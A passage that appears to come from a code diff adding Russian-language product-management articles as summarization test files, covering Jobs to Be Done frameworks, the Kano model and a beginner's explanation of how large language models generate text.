понимание и мотивации, и желаемого прогресса, которого хочет добиться человек. В одном случае это может быть покупка в качестве инвестиции: человек скопил достаточную сумму и хочет получать пассивный доход с минимальными усилиями. В другом случае это может быть покупка дома для себя: в семье планируется пополнение, и теперь ей нужно больше места. Каждый из таких сценариев подразумевает, что для покупателя будут критичными разные аспекты на пути к достижению прогресса. Jobs to Be Done учит «раскапывать» за действиями людей их истинную мотивацию. Главный инструмент для этого — JTBD-интервью, то есть интервью с клиентами (пользователями), вопросы которых позволяют выяснить истинную мотивацию человека для использования того или иного продукта. Подробнее о том, как подготовить и провести такое интервью, мы рассказывали в этом материале. Как определить границы работы Кристенсен также подчеркивает разницу между работой и потребностью. Потребности достаточно универсальны и не берут во внимание контекст, в котором находится человек. В разных контекстах потребность в утолении голода проявляется по-разному и требует совершенно разных решений: так, необходимость быстро перекусить перед рабочей встречей кардинально отличается от необходимости выпить протеиновый коктейль после тренировки для роста мышц. Поэтому формулировка «человек хочет утолить голод» слабо помогает в создании продуктов, которые эту потребность могут удовлетворить. У любой работы могут быть различные способы ее выполнения, поэтому и слишком конкретная формулировка работы в духе «хочу купить один литр кефира марки X в магазине Y» тоже не будет очень полезной. Таким образом, при формулировке работы важно придерживаться верного уровня абстракции: не мыслить о ней как о потребности и не смотреть на нее как на набор слишком конкретных атрибутов. Чек-лист для определения работы Не является трендом; Не является высокоуровневой потребностью; Не является специфичным способом решения задачи с помощью одного класса продуктов; Не содержит конкретного способа решения задачи; Содержит задачу, которую человек хочет решить или прогресс, которого он хочет добиться в жизни; Содержит контекст возникновения этой задачи. Для разных задач контекст будет разным и будет включать как объективные внешние факторы, так и внутренние эмоциональные; Сформулирована на таком уровне абстракции, чтобы задавать рамки, но одновременно давать простор для поиска решения. Что влияет на выбор человеком продукта для решения JTBD Как человек принимает решение, какой продукт нанять для выполнения работы? С высокой вероятностью, у него уже есть решение, к которому он привык. Но он может узнать о новом способе, который обещает выполнить работу эффективнее. Тогда в работу вступают четыре разнонаправленные силы, которые Кристенсен описывает в книге “Competing Against Luck”: ➡️ Во-первых (F1), человек испытывает сложности или ограничения с текущим способом решения задачи и становится открытым к поиску альтернативы. ➡️ Во-вторых (F2), когда он видит новый продукт, он испытывает интерес и желание попробовать его. ⬅️ В-третьих (F3), ему необходимо преодолеть тревогу от необходимости изучать новое. ⬅️ В-четвертых (F4), ему необходимо выйти из зоны комфорта текущего способа решения задачи. В “Competing Against Luck” профессор иллюстрирует работу этих сил на собственном примере: долгое время он отказывался менять мобильный телефон, потому что силы F3 и F4 оказывались сильнее. Как применять оригинальную теорию Jobs to Be Done Выше мы разобрали основные аспекты оригинальной теории Jobs to Be Done. Более полное описание с множеством реальных примеров вы можете найти в книге “Competing Against Luck”. Вот основные тезисы о том, как применять JTBD в продуктовой работе: — Проводите JTBD-интервью для того, чтобы понять и работу, и контекст, в котором у человека возникает потребность в ее выполнении — Приоритизируйте задачи из бэклога в соответствии с инсайтами из JTBD-интервью — Используйте инсайты о работах пользователей для формулирования позиционирования продукта: это необходимо, чтобы донести ценность до целевой аудитории продукта Фреймворк Боба Моэсты Demand-Side Sales Об авторе Боб Моэста — один из соавторов оригинальной концепции Jobs to Be Done, работавший над ней совместно с Клейтоном Кристенсеном в рамках Гарвардской школы бизнеса. На ранних этапах формирования концепции Моэста помогал Кристенсену дополнять теорию кейсами из реальной практики. Позднее основал консалтинговую фирму The Re-Wired Group. Продолжая развивать оригинальные идеи JTBD, сформировал свой фреймворк применения концепции в реальном бизнесе для маркетинга и продаж — Demand-Side Sales. Эти наработки легли в основу книги Боба Моэсты “Demand-Side Sales 101”, опубликованной в 2020 году. Особенности подхода Моэста развивает первоначальные идеи, заложенные Кристенсеном, поэтому его подход Demand-Side Sales во многом созвучен с оригинальной теорией, а некоторые идеи получили дополнительное развитие. Поэтому мы не будем дублировать определения из предыдущего раздела, а сосредоточимся сразу на ключевых особенностях. На чем фокусируется Demand-Side Sales Клиентов любого продукта стоит рассматривать через призму эмпатии. Текущий контекст и желаемое состояние определяют, чего он хочет достичь или какой прогресс. Без понимания контекста, в котором находится человек, бизнесу будет сложно продать ему свой продукт. Такая призма позволяет сфокусироваться не на стороне предложения («Что я должен сделать, чтобы мой продукт купили?»), а на стороне спроса («Чего хотят достичь люди, которым может быть полезен мой продукт?»). Отсюда и название фреймворка — Demand-Side Sales. Как понять, зачем человек выполняет работу Лучший способ выяснить, зачем человек хочет выполнить ту или иную работу, это провести интервью. При этом фокус вопросов должен быть не на самом продукте, а на состояниях человека, которые привели его к решению «нанять» определенный продукт. Подробнее о том, как проводить такие интервью, Моэста рассказывает в этом видео (YouTube). Одна из техник, которая позволяет раскопать истинную мотивацию клиента, называется «Пять почему». Она работает так: Клиент: «Мне нужна дрель, чтобы просверлить отверстие» Вы: «Зачем вам отверстие?» Клиент: «Чтобы я мог провести туда розетку» Вы: «Зачем вам розетка?» Клиент: «Чтобы я мог поставить рядом лампу» Вы: «Зачем вам лампа?» Клиент: «Без нее в комнате тускло, а мне хотелось бы иметь возможность читать с комфортом» Хотя в этом примере Моэсты всего три «почему», их оказалось достаточно, чтобы понять, что клиенту не нужна дрель. Клиенту нужен iPad или Kindle, чтобы иметь возможность читать в темноте. При работе над продуктом важно не забывать про эмпатию к клиенту и умение посмотреть на продукт его глазами. Так, нагромождение фич в продукте не обязательно делает ваше решение более привлекательным, а зачастую напротив, добавляет излишней тревожности для клиента. В итоге он боится запутаться в продукте и не решается его использовать. Шесть шагов на пути к покупке Другая важная составляющая фреймворка Моэсты — шесть шагов на пути к покупке (purchasing timeline). Эти шесть шагов применимы к покупке любого продукта, будь то кофе или автомобиль. Разница лишь в том, сколько времени уходит у человека на прохождение этих шагов. First Thought — первая мысль о продукте или смене продукта. Триггером этой мысли может быть что угодно. Так, если человек захотел приобрести игровую консоль, триггером мог стать выход новой игры, впечатления друзей или желание найти новый досуг. Без этой первой мысли не возникает спроса. Passive Looking — пассивное изучение доступных решений. В нашем примере, например, человек может пройтись по соответствующему разделу в магазине техники и электроники или задать уточняющие вопросы о консоли другу, у которого она есть. Первая мысль о покупке получает развитие, но пока человек не инвестирует силы в поиск целенаправленно. Active Looking — активное изучение доступных решений. Потребность в покупке становится более явной, и человек может начать целенаправленно искать обзоры на те или иные консоли, погружается в их характеристики и особенности. Важный итог этого шага — человек отметает для себя ряд решений, которые точно не подходят для него. Как итог, у него формируется шорт-лист подходящих для него продуктов. Deciding — принятие финального решения. Это самый сложный этап для человека. Здесь человек понимает, что ни одно из доступных решений не подходит ему на 100%, то есть не является идеальным. Каждый продукт из шорт-листа подразумевает компромиссы. Это может быть цена, характеристики, особенности приобретения продукта — в конечном итоге человек определяет для себя наименее критичный из этих факторов. И для каждого человека этот фактор будет своим. Onboarding — первый опыт использования продукта. Человек впервые самостоятельно взаимодействует с продуктом и делает для себя внутренние пометки о том, насколько он соответствует ожиданиям. Если они не оправдаются, человек может попробовать вернуть продукт или просто откажется от него: в таком случае, с высокой вероятностью, он уже больше не вернется к этому продукту. Ongoing Use — продолжительное использование. Если продукт прошел первоначальный онбординг, человек начинает обращаться к нему (нанимать его на работу) в каждом случае, когда у него возникает соответствующая необходимость выполнить работу. Именно на этом шаге человек достигает результата. Подробнее о шести шагах к покупке — в материале Боба Моэсты. Как применять Demand-Side Sales — Проводите JTBD-интервью с пользователями, чтобы понять причины, по которым они выбирают ваш продукт, а также контекст, который приводит их к вашему продукту. — Опирайтесь на инсайты таких интервью для перестройки или построения продукта с нуля. Фичи продукта должны отвечать работам, которые хотят выполнить пользователи. Тестируйте и дорабатывайте прототип продукта на основе фидбека пользователей — помогает ли он эффективно выполнять их работу? — И маркетинг, и продажи продукта должны фокусироваться не на преимуществах самого продукта, а на конкретной работе, которую он выполняет для определенной группы людей. — Используйте понимание шести шагов на пути к покупке для того, чтобы стимулировать человека приобрести продукт. Например, на этапе активного изучения вариантов создайте ощущение FOMO — того, что ваше предложение ограничено по времени. А на этапе онбординга важно донести ценность до клиента максимально быстро, чтобы он продолжил использовать продукт и не вернулся к поискам альтернатив. Фреймворк Outcome-Driven Innovation Ульвика Об авторе Тони Ульвик — основатель консалтинговой компании Strategyn и одна из ключевых фигур в развитии и популяризации теории Jobs to Be Done. По собственным словам, самостоятельно разработал фреймворк Outcome-Driven Innovation и представил наработки Кристенсену в 1999 году. Кристенсен развил эти идеи, которые позднее стали известны как JTBD. В книге 2003-го года “The Innovator’s Solution” Кристенсен цитирует примеры из практики Ульвика и его консалтинговой фирмы. Автор книг “Jobs to Be Done: Theory to Practice”, “What Customers Want” и “Business Strategy Formulation”. Свой фреймворк Outcome-Driven Innovation Ульвик характеризует так: «Если Jobs to Be Done — это теория, то Outcome-Driven Innovation — это практика». Особенности подхода Подход Outcome-Driven Innovation Тони Ульвика появился еще до того, как Клейтон Кристенсен сформулировал понятие «работы» и представил теорию Jobs to Be Done. Позднее, когда Jobs to Be Done стала хорошо известна в бизнес-кругах, Ульвик начал позиционировать свой фреймворк как практическое применение JTBD в бизнесе. У Outcome-Driven Innovation есть ряд характерных отличий, которые мы разберем далее. На чем фокусируется Outcome-Driven Innovation Клиенты могут не знать, какое решение им нужно для выполнения конкретной работы, но они точно хорошо осознают свои задачи и потребности. Более того, они хорошо понимают, какие аспекты будут для них наиболее важными для выполнения этой работы: скорость, надежность, цена и так далее. Эти аспекты в конечном итоге определяют желаемый результат, которого клиент хочет достичь. Проблема в том, что большинство существующих продуктов только частично позволяют выполнить работу — то есть они неспособны удовлетворить все потребности клиента. И задача любого, кто создает продукты, разобраться в желаниях клиентов и дать им самое эффективное решение специально для них. В рамках Outcome-Driven Innovation Тони Ульвик предлагает шесть шагов, необходимых для поиска возможностей и создания наиболее эффективных решений для клиентов. Шесть шагов для создания эффективных продуктов Ниже — основные тезисы каждого из шести шагов, предлагаемых Тони Ульвиком. Вы можете найти более подробное описание в материале самого автора по ссылке. 1. Определение рынка и работы Для начала необходимо вывести определения для работы и рынка. При этом стоит учитывать следующее: Работой может быть некая цель, задача, требующая решения проблема, а также что-то, чего люди хотят избежать. Рынок нельзя определять вокруг того, что может быстро меняться — например, технологии. Рынок стоит определять вокруг работы, которая будет актуальной для людей на горизонте десятилетий. 2. Поиск потребностей клиентов Каждая основная работа (core jobs-to-be-done), которую хочет выполнить человек, сопровождается набором факторов, определяющих эффективность выполнения этой работы. Ульвик называет их “desired outcomes”: они измеряемы и могут быть улучшены для повышения общей эффективности выполнения работы. Например, когда человек хочет послушать музыку, ему важно «минимизировать время на составление плейлиста в нужном порядке» или «минимизировать вероятность искажений звука на большой громкости». Это примеры “desired outcomes”, которые влияют на общее качество выполнения работы. Таким образом, то, насколько успешно ваш продукт выполняет core jobs-to-be-done «послушать музыку», будет зависеть от того, как он справляется с конкретными “desired outcomes”, важными для конкретного человека или группы людей (сегмента). Выяснить эти “desired outcomes” клиентов помогают качественные исследования (личные или групповые интервью), а также наблюдение. 3. Выяснить, насколько те или иные потребности клиентов удовлетворены После того, как вы выяснили весь спектр “desired outcomes” вокруг основной работы, с помощью количественного исследования (опроса) необходимо проверить степень удовлетворенности каждой из потребностей на рынке. Пользователи должны оценить, насколько хорошо другие продукты закрывают их desired outcomes. Такое исследование позволит найти или определить: В какой степени удовлетворены потребности клиентов в целом на рынке: кому не хватает текущего решения для удовлетворения потребности (underserved), а кому текущее решение дает больше, чем нужно (overserved). Возможности выполнять работу для части клиентов эффективнее (для сегмента underserved). Возможности выполнять работу для части клиентов дешевле (для сегмента overserved). Сильные и слабые стороны существующих на рынке решений. 4. Поиск скрытых возможностей Ни на одном рынке вы не встретите клиентов, для которых важны одни и те же вещи. Например, для одних клиентов сети фастфуда блюда кажутся слишком дорогими, для других — слишком жирными, третьи недовольны размером порций. В этой разноголосице и скрыты возможности для того, чтобы создавать более эффективные решения. Необходимо лишь найти сегменты клиентов с уникальным набором неудовлетворенных потребностей. Причем эти сегменты нельзя выявить по демографическим, географическим и каким-либо другим характеристикам: необходимы специальные исследования. Процесс сегментации выглядит следующим образом: — Определение ключевых переменных. Сначала проводится факторный анализ на статистически достоверном наборе данных, чтобы определить, какие “desired outcomes” лучше всего объясняют вариативность в ответах. Например, какие “desired outcomes” некоторые люди считают важными, но неудовлетворенными, в то время как другие считают их удовлетворенными, но неважными. — Создание кластеров (сегментов). Кластерный анализ используется для сегментирования рынка на группы клиентов с уникальными наборами неудовлетворенных желаемых результатов. Неудовлетворенные результаты используются в качестве основы для сегментации. — Профилирование сегментов. Наконец, вопросы для профилирования (включенные в опрос для понимания, какие переменные вызывают сложность) используются для того, чтобы понять, почему определенные клиенты испытывают больше сложностей при выполнении работы, чем другие. Опрос также позволяет собрать информацию о размере сегмента и готовности клиентов платить больше за более эффективное выполнение работы. Эти результаты помещаются на Opportunity Landscape. Сегментация клиентов необходима, поскольку именно ее результаты определяют стратегию развития продукта. 5. Оптимизация существующих продуктов под найденные рыночные возможности Если у компании уже есть продукты, которые могут быть эффективнее для определенных сегментов, есть несколько сценариев. Например: Донести конкретные преимущества продуктов до тех сегментов, кому они остро актуальны. Запустить рекламную кампанию вокруг неудовлетворенных потребностей. Перенаправлять лиды на актуальные для них решения через короткий опросник. 6. Проработка новых продуктов для закрытия неудовлетворенных потребностей В этом сценарии ODI также предлагает несколько вариантов: — Позаимствовать наиболее актуальные фичи у других продуктов. — Приоритизировать актуальные фичи в бэклоге. — Партнерство с другими компаниями для удовлетворения потребностей найденных сегментов клиентов. — Покупка компаний, продуктов. Пример использования ODI из практики Strategyn: С помощью сегментации мы выяснили, что 30% мастеров, использующих циркулярные пилы, сталкиваются с 14-ю не до конца удовлетворенными “desired outcomes”. Например, некоторым из них требовалось прикладывать гораздо больше усилий, чтобы добиться среза нужной формы. Мы нашли этот сегмент, оценили его размер, ключевые неудовлетворенные потребности и то, насколько сильно они не удовлетворены. Как итог, клиент Strategyn разработал новую циркулярную пилу с учетом этих особенностей и смог добиться успеха с новым продуктом. Тони Ульвик Фреймворк Advanced Jobs to Be Done Вани Замесина Об авторе Ваня Замесин — предприниматель, автор тренинга для продактов и предпринимателей «Как делать продукт», создатель фреймворка Advanced Jobs to Be Done. В прошлом — руководитель продукта в «Яндекс Картинках» и основатель сервиса по подбору психотерапевтов «Мета» (куплен компанией «Профи»). Особенности подхода На чем фокусируется Advanced Jobs to Be Done Все книги [о Jobs to Be Done] максимально верхнеуровнево описывают инструмент, конкуренцию решений, рассказывают высокоуровневые кейсы, но не дают прикладных решений для ежедневной продуктовой работы. Ваня Замесин Advanced Jobs to Be Done развивает идеи оригинальной теории JTBD и добавляет практико-ориентированный подход, вводя понятия графа работ, алгоритма создания ценности, сегментации клиентов, алгоритма поиска, ранжирования и выбора сегментов и ряд других. Что такое работа Работа — это описание цели (задачи) человека, которая позволит ему перейти из точки А в точку Б. в точке А человек, находясь в определенном контексте и эмоциональном состоянии, испытывает некое триггерное событие, которое формирует необходимость выполнить задачу. в точке Б задача выполнена, и человек испытывает позитивные эмоции от полученного результата. Например, в точке А человек хочет приобрести квартиру, чтобы сдавать ее в аренду по цене выше ипотечного взноса и тем самым совершить выгодную инвестицию. В точке Б человек — счастливый покупатель недвижимости. Шаблон и развернутый пример описания работы Работа описывается следующим образом: когда я в контексте у меня есть прошлый опыт и/или знания у меня есть психологические особенности испытываю негативные эмоции случился триггер хочу получить ожидаемый результат с какими критериями ожидаемого результата чтобы получить ожидаемый результат выше уровнем и чувствовать себя по-другому после того, как я получу ожидаемый результат Пример описания работы Вот так могло бы выглядеть описание работы для девелопера ПИК: Когда контекст: я живу в своей квартире знания: я верю, что самый надежный и понятный способ заставить деньги работать — это недвижимость триггер: скоро заканчивается депозит с суммой, достаточной для первого взноса на покупку квартиры Xочу купить квартиру какую: которую смогу сдавать в аренду со стоимостью аренды выше ипотечного взноса как: максимально безопасно Чтобы сохранить деньги и обеспечить финансовую стабильность для меня и будущих детей чувствовать себя по-другому: быть спокойным, что квартира выплатит себя сама Работа первична Все аспекты продукта — его ценность, функциональность, интерфейсы, бизнес-модель и др. — являются производными от работы. А необходимость в работе возникает у людей из потребностей. Проблема в том, что большинство людей не осознают свои потребности, следовательно, мы не можем провести интервью или опрос, чтобы узнать какие потребности у них не удовлетворены — и предложить им решение. Но для того чтобы удовлетворять потребности, мозг формирует цели, которые люди осознают уже достаточно хорошо. И эти цели можно узнавать на интервью и достаточно точно оценивать в количественных опросах. Цели, которые мозг формирует, являются работами в методологии Jobs To Be Done. Сегментация по работам Продукт нельзя делать для всех сразу. Для одних он будет наиболее востребован, другим — не нужен вовсе. Поэтому продакту необходимо сегментировать аудиторию и объединять людей по принципу схожести выполняемых работ. Это позволяет управляемо создавать ценность, создавать действительно нужные продукты и в конечном итоге максимизировать ROI. Невозможно делать продукт для всех и ждать, что клиенты будут считать продукт ценным: ресурсы на создание ценности ограничены, а значит, для каждого сегмента дополнительная ценность будет минимальной. Чтобы выигрывать в конкуренции, стоит фокусировать ресурсы на создании ценности для небольшого количества даже изначально небольших сегментов. Нахождение сегментов, для которых можно создать максимум ценности, выбор экономически более привлекательных сегментов, нахождение подсегментов и изучение графов работ — все это позволяет эффективнее принимать продуктовые решения и в конечном итоге максимизировать ROI. Концепция графа работ Любая работа подразумевает необходимость выполнить несколько работ ниже уровнем. Например, чтобы приготовить блюдо, вам требуется достать из холодильника продукты, помыть и нарезать овощи, разморозить мясо, вскипятить воду, смешать ингредиенты, следить за процессом и так далее. Все это — примеры работ ниже уровнем, и вместе с основной работой они формируют граф работ. Именно граф позволяет находить возможность создать более ценное решение относительно существующих решений (кроме снижения цены), а значит, формировать гипотезы о создании продуктов и фич с более высокой добавочной ценностью. Работа механик роста ценности на примерах реальных продуктов Например, одна из механик роста ценности продукта и выхода из прямой конкуренции в рамках AJTBD — «Выйти на высокоуровневую работу». Это значит, что вы создаете решение, которое упрощает граф работ ниже уровнем или снижает их число относительно конкурирующих решений. Например, сервис «Яндекс Аренда» выходит из прямой конкуренции с ЦИАНом и другими сервисами объявлений, потому что он позволяет владельцу квартиры выполнить работу «Сдать квартиру» за кардинально меньшее количество работ ниже уровнем. С «Яндекс Арендой» не нужно изучать рынок, фотографировать квартиру, показывать квартиру: команда сервиса все сделает за вас. Это мощная механика, по которой выходили на рынок Uber, «Яндекс Такси», а также сервисы каршеринга в сравнении с обычными такси или своим автомобилем. Есть механика «Выйти на предыдущую работу», благодаря использованию которой команда Сбербанка получила канал привлечения клиентов в продажу ипотеки. Этого удалось достичь за счет выхода на предыдущие к работе «купить квартиру в ипотеку» работы «понять, могу ли я себе позволить квартиру в ипотеку», «узнать условия по ипотеке» и так далее. Как создавать ценность Добавочная ценность возникает тогда, когда мы выполняем работы людей эффективнее, чем они ожидают. Этот тезис вытекает из принципов того, как мозг тратит энергию на совершение любых действий, инвестируя энергию в ожидании того, что получит больше ресурсов и удовольствия в будущем. А также того, как мозг предсказывает, насколько сложно выполнить каждую задачу, и затем сравнивает реальность с ожиданием. Если наложить стремление мозга более энергоэффективно выполнять работы на граф работ, то мы можем получить алгоритм создания ценности. Ваня Замесин Создавать ценность можно за счет: минимизации прямых расходов, таких как стоимость; упрощения графа работ; увеличения пользы, например, получаемого удовольствия и удовлетворения от выполнения бОльшего количества работ за те же инвестиции энергии. Если наложить это правило на граф работ, то можно получить более 15 механик создания ценности. Вот некоторые из них: Выполнять больше низкоуровневых работ одним решением, в том числе выйти на предыдущую работу; выйти на следующую работу; выполнить дополнительные работы, которые возникают у человека в том же контексте; убить работу; починить проблемы (механика, вытекающая из оптимизации графа работ); и другие. Как создавать добавочную ценность: пример AirPods Например, ценность AirPods относительно проводных наушников: Добавлено удовлетворение потребности в статусе, так как в 2016 году AirPods были предметом статуса. «Убиты» частотные работы распутывать провода, втыкать провод в телефон. «Убита» работа «держать провод в зубах, чтобы микрофон не терся об одежду и собеседник меня слышал». Как применять Advanced Jobs to Be Done В очень упрощенной и краткой форме алгоритм применения AJTBD сводится к следующим шагам: — Определиться с бизнес-задачей. Для разных бизнес-задач AJTBD предлагает разные механики решения бизнес-задач. — Выбрать, какие из механик вам могут помочь решить вашу бизнес-задачу. — Спроектировать исследование, с помощью которого вы получите информацию, какая из механик может вам помочь. Исследование включает в себя desk research, работу с аналитикой, качественные и количественные AJTBD-исследования. — Провести AJTBD-интервью с текущими клиентами и клиентами конкурирующих решений с такими гайдами интервью, чтобы вы могли получить информацию для выбранных механик. Например, найти работы, на которые нанято текущее решение, а также предыдущие и следующие работы. — Выделить среди респондентов сегменты людей, которые объединены одинаковыми или близкими по сути работами; составить усредненные графы работ этих сегментов. — Выбрать экономически наиболее привлекательный сегмент аудитории, учитывая удовлетворенность конкурирующими решениями; определить, для каких сегментов вы можете применить механики и создать значимо больше ценности. — Сформулировать гипотезы о том, как вы можете применить механики и предложить значимо более ценные решения для выбранных сегментов. — Сделать количественную валидацию качественного AJTBD-исследования, чтобы принять финальное решение о том, какие сегменты и решения для каких предыдущих или следующих работ дадут максимальный ROI с минимальным риском. Таким образом, вы получаете гипотезы требования к будущему продукту и стратегию масштабирования продукта, которые позже важно будет валидировать, чтобы избежать рисков, что вы ошиблись с ценностью и коммуникацией ценности. Заключение Jobs to Be Done — эффективный подход к созданию продуктов, который дает углубленное понимание, как потребности людей трансформируются в работы и как люди выбирают способы для выполнения этих работ. Хотя оригинальная теория Клейтона Кристенсена и не была прикладной, она задала направление для формирования практико-ориентированных подходов к тому, как превращать инсайты о клиентах в успешные продукты. Каждый из фреймворков, которые мы разобрали в этом материале — Demand-Side Sales, Outcome-Driven Innovation и Advanced Jobs to Be Done, — по-разному дополняет оригинальную теорию, но тем не менее все они снискали определенную популярность и применимость в различных сферах и типах продуктов. Спасибо Ване Замесину за участие в работе над материалом. Подробнее об Advanced Jobs to Be Done Ваня рассказывает на своем тренинге «Как делать продукт». Автор иллюстрации к материалу — Анна Гольде +============== diff --git a/tests/summarization/https___gopractice.ru_product_kano-model_.txt b/tests/summarization/https___gopractice.ru_product_kano-model_.txt new file mode 100644 index 0000000..bd9f947 --- /dev/null +++ b/tests/summarization/https___gopractice.ru_product_kano-model_.txt @@ -0,0 +1,2 @@ +Модель Кано — это гибридная методика исследования пользователей, сочетающая в себе элементы качественных и количественных исследований. Она позволяет изучить, что в продукте влияет на удовлетворенность пользователей через призму их эмоционального восприятия. Если говорить совсем просто, модель Кано помогает понять, что заставляет людей не просто использовать продукт, но любить его. Этим инструментом пользуются как продакт-менеджеры, так и другие участники продуктовой команды — UX-исследователи, дизайнеры, маркетологи. В этом материале вы найдете гайд по применению модели Кано для своего продукта. Краткая история метода В семидесятые–восьмидесятые годы прошлого века Япония стремительно развивала производство автомобилей и электроники. Одним из драйверов успеха для ведущих японских компаний вроде Toyota, Sony, Panasonic был подход TQM (Total Quality Management), суть которого сводилась к тому, что все сотрудники компании были ориентированы на поддержание наивысшего качества на всех этапах производства. Если говорить упрощенно, то это повлекло за собой фокус именно на количестве и качестве фичей (чем больше их будет и чем точнее они будут работать — тем лучше), а не на том, нужны ли они, собственно, клиенту. И если да, то какой вклад в его удовлетворенность они вносят. В 1984 японский профессор Нориаки Кано представил свой подход к изучению проблемы удовлетворенности. Он понял, что улучшение фичей имеет нелинейный эффект на ощущения клиентов. Простой пример. Подход, основанный на TQM, подразумевал, что скорость, с которой кондиционер в машине добивается охлаждения, нужно постоянно повышать. Иными словами, бесконечно улучшать параметр. Подход Кано показал, что само по себе наличие хорошего кондиционера в машине радикально повышает удовлетворенность клиентов, но при этом скорость охлаждения в какой-то момент просто перестает иметь значение. А значит улучшение этого параметра уже не будет оказывать существенного влияния на фактор удовлетворенности. Модель, которую представил профессор Кано, позволяет приоритизировать фичи именно на основе исследования эмоционального восприятия и удовлетворенности. Она стала не только важной частью японской производственной культуры, но и проникла в современную IT-индустрию, где применяется для исследования пользователей. Какие задачи можно решить в продукте с помощью модели Кано Основной параметр, которым оперирует модель Кано, это удовлетворенность пользователей. В управлении продуктом это прежде всего позволяет получить оценки для приоритизации. Исследование по модели Кано требует ресурсов, поэтому обычно его применяют для среднесрочной–долгосрочной приоритизации (ближе к стратегическому уровню, нежели тактическому). Когда модель эффективна: Углубленное исследование пользователей на этапе Discovery Долгосрочное планирование продуктовой стратегии Работа с UX-командой для понимания эмоционального опыта пользователей Поиск рычагов дифференциации в конкурентной среде Когда модель не стоит использовать: При ограниченных ресурсах на исследования Для быстрой приоритизации бэклога (лучше подойдут фреймворки вроде ICE, RICE, MoSCoW) В ситуациях, когда функциональность продукта жестко регламентирована внешними факторами — стандартами, законодательством, техническими спецификациями (например, нет смысла спрашивать пользователей, как они относятся к шифрованию по определенному стандарту, если это обязательное требование) В продуктах, где очень сильно влияние стейкхолдеров, например, в сложных B2B-продуктах Как модель Кано измеряет удовлетворенность пользователей Модель делит фичи продукта на четыре основные категории: 🔴 Безусловно необходимые (Must-be). Наличие таких фичей обязательно. Оно не улучшает пользовательский опыт — это лишь «минимально допустимый уровень». Их отсутствие вызывает сильное недовольство. Что могло бы быть примером по итогам исследования: просмотр баланса и истории операций в приложении банка. Если такой фичи нет, то во многих кейсах использования это сводит смысл приложения к нулю. 🔵 Важные (Performance). Чем лучше качество и больше пользовательских возможностей, тем выше удовлетворенность. Что могло бы быть примером по итогам исследования: разные способы денежных переводов другим людям через приложение банка. Чем больше вариантов (по номеру телефона, по номеру карты, по иным доступным признакам другого пользователя), тем лучше. 🟢 Неожиданные и вызывающие восторг пользователя (Attractive или Delighters): Неочевидные функции, которые вызывают восторг, если они есть, но не влияют на отношение пользователя к продукту, если их нет. Что могло бы быть примером по итогам исследования: открытие счетов в разных валютах к одной карте, между которыми можно обменивать по выгодному внутрибанковскому курсу. ⚪️ Не влияющие на удовлетворенность продуктом (Indifferent): Атрибуты, не влияющие на удовлетворенность клиентов в любом состоянии. Что могло бы быть примером по итогам исследования: анимация логотипа банка в приложении. Иногда также добавляют пятую категорию: ⚫️ Обратные (Reverse): Функции, которые дают обратный эффект и вызывают недовольство. 🔒 Этот материал полностью доступен подписчикам GoPractice (это бесплатно) Чтобы продолжить изучение материала и получить доступ ко множеству других, вам нужно войти в учетную запись GoPractice или создать новую. +============== diff --git a/tests/summarization/https___gopractice.ru_product_large-language-models_.txt b/tests/summarization/https___gopractice.ru_product_large-language-models_.txt new file mode 100644 index 0000000..3e1eae7 --- /dev/null +++ b/tests/summarization/https___gopractice.ru_product_large-language-models_.txt @@ -0,0 +1,2 @@ +Продукты на основе генеративного искусственного интеллекта стремительно ворвались в нашу реальность за последний год. Еще несколько лет назад было сложно представить, что модели смогут генерировать изображения на основе текста или писать эссе в форме стихов на заданную тему. Причем делать это на уровне, который не уступает человеку. Сегодня продуктами на основе таких моделей пользуются миллионы людей, решая самые разнообразные задачи. ChatGPT — один из самых ярких примеров продуктов, построенных на основе генеративного AI. Несмотря на отсутствие традиционного маркетинга, ему удалось стать самым быстрорастущим сервисом в истории. Все материалы серии об использовании ML/AI в создании продуктов 1. Зачем продакт-менеджеру изучать ML и AI 2. Большие языковые модели: основы для тех, кто хочет строить продукты на их базе 3. Как ML-технологии помогают улучшать Retention продуктов 4. Как найти возможности для применения AI в вашем продукте 5. Базовое руководство для улучшения качества продуктов с LLM 6. Продвинутые методы улучшения качества продуктов с LLM: RAG 7. Почему идеальной ML-модели недостаточно, чтобы построить бизнес вокруг ML 8. Внедрение ML/AI для оптимизации процессов службы поддержки в крупном продукте: разбор кейса 9. AI-cтартапы: продавайте результат работы, а не софт 10. Новый этап развития генеративного AI: что это значит для стартапов и инвесторов? Для многих такие технологии выглядят как магия, которая открывает невероятные возможности. Бизнес не стал исключением в погоне за этими возможностями: CEO и основатели компаний начали активно требовать от своих команд найти способы внедрения решений на базе генеративного AI в свои продукты. Но чтобы действительно создать ценность с помощью этих технологий, необходимо понимать их основы: как они работают, где именно принесут пользу, какие у них ограничения и риски. В этом материале мы простыми словами и без сложной математики разберем, как работают большие языковые модели (подмножество технологии генеративного AI для работы с текстом). Это позволит вам понимать возможности и степени свободы этой технологии, чтобы строить на ее основе новые продукты. Курс «AI/ML-симулятор для продакт-менеджеров» в группе с ментором: 🔹 Научитесь видеть возможности для применения AI/ML в вашей текущей роли 🔹 Запустите собственный продукт с AI/ML → Оставьте заявку на участие в группе ← Принцип работы больших языковых моделей Термин большие языковые модели (large language models, LLM) не имеет строгого определения, обычно под ним понимают модели, которые содержат огромное количество параметров (миллиарды) и были обучены на огромных объемах текстовых данных. Принцип работы таких моделей достаточно прост: Модель получает на вход «промпт» (запрос от пользователя или набор слов) и далее подбирает наиболее подходящее следующее слово. После этого полученная строка вновь подается на вход модели и она подбирает еще одно слово. И так далее. Так получается «разумное продолжение» на основе изначального запроса. Для пользователя это выглядит как ответ, который имеет смысл. Промпт (prompt, подсказка, затравка) в данном случае — главный элемент управления. Генерация текста происходит именно на основе исходного запроса, поэтому, меняя и оптимизируя промпт, можно улучшать результат работы модели. Как LLM генерирует связный текст Для начала рассмотрим то, как именно LLM генерирует разумное продолжение. Допустим, модель начала свой ответ с фразы «AI сегодня преобразует». Как она строит разумное предложение дальше? Представьте, что мы просканировали весь интернет и нашли все случаи, где упоминается фраза «AI сегодня преобразует». После этого мы взяли все слова, следующие за этой строкой, и вычислили, с какой вероятностью встречалось каждое из них. Например, мы могли получить следующий результат: После этого на основе этих вероятностей можно выбрать следующее слово. В данном случае модель может добавить к «AI сегодня преобразует» слово «все». Но она может выбрать и иное слово: это зависит от настроек модели и решаемой задачи. Например, для креативных задач хорошо работает механика, когда не всегда выбирается слово с максимальной вероятностью. Это делает язык более «живым» и более оригинальным. Следующим шагом можно повторить эти действия, используя строку с добавленным новым словом — «AI сегодня преобразует все». Задача LLM — определять, каким должно быть следующее слово на основе текста, который подан ей на вход. После добавления нового слова запускается процесс поиска следующего 